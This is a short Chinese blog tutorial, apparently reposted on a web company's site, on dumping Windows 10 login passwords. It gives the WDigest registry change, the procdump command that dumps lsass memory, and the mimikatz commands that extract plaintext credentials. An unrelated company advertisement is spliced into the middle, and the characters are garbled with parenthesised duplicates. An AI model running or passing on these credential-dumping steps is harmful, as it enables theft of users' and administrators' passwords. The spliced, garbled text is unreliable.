優(yōu)雅的獲取win10密碼

注：僅供參考，方法現(xiàn)在已不適用

成都創(chuàng)新互聯(lián)公司自成立以來，一直致力于為企業(yè)提供從網(wǎng)站策劃、網(wǎng)站設(shè)計、成都網(wǎng)站設(shè)計、成都做網(wǎng)站、電子商務(wù)、網(wǎng)站推廣、網(wǎng)站優(yōu)化到為企業(yè)提供個性化軟件開發(fā)等基于互聯(lián)網(wǎng)的全面整合營銷服務(wù)。公司擁有豐富的網(wǎng)站建設(shè)和互聯(lián)網(wǎng)應(yīng)用系統(tǒng)開發(fā)管理經(jīng)驗、成熟的應(yīng)用系統(tǒng)解決方案、優(yōu)秀的網(wǎng)站開發(fā)工程師團(tuán)隊及專業(yè)的網(wǎng)站設(shè)計師團(tuán)隊。

工具：
procdump & mimikatz

實驗環(huán)境：
實驗主機：win10
賬戶密碼：17位復(fù)雜密碼（大小寫+特殊字符+數(shù)字）
（雖然微軟很早就更新了補丁來防止獲取windows的明文密碼，但是可以修改注冊表...
使 \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest下的UseLogonCredentiald的鍵值為1 即代表WDigest的密碼支持明文形式保存在LSA內(nèi)存中）

步驟：

使用cmd運行procdump.exe
輸入：Procdump.exe -accepteula -ma lsass.exe lsass.dmp

使用cmd運行mimikatz.exe

輸入：privilege::debug
sekurlsa::logonpasswords

在wdigest：下顯示的就是管理員的密碼

補充：

如果按照網(wǎng)上的教程在mimikatz輸入指令這里100%報錯
（ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)）

privilege::debug（提權(quán)）
sekurlsa::logonpasswords（抓密碼）

分享文章：優(yōu)雅的獲取win10密碼
分享鏈接：http://www.jiaotiyi.com/article/gjodpj.html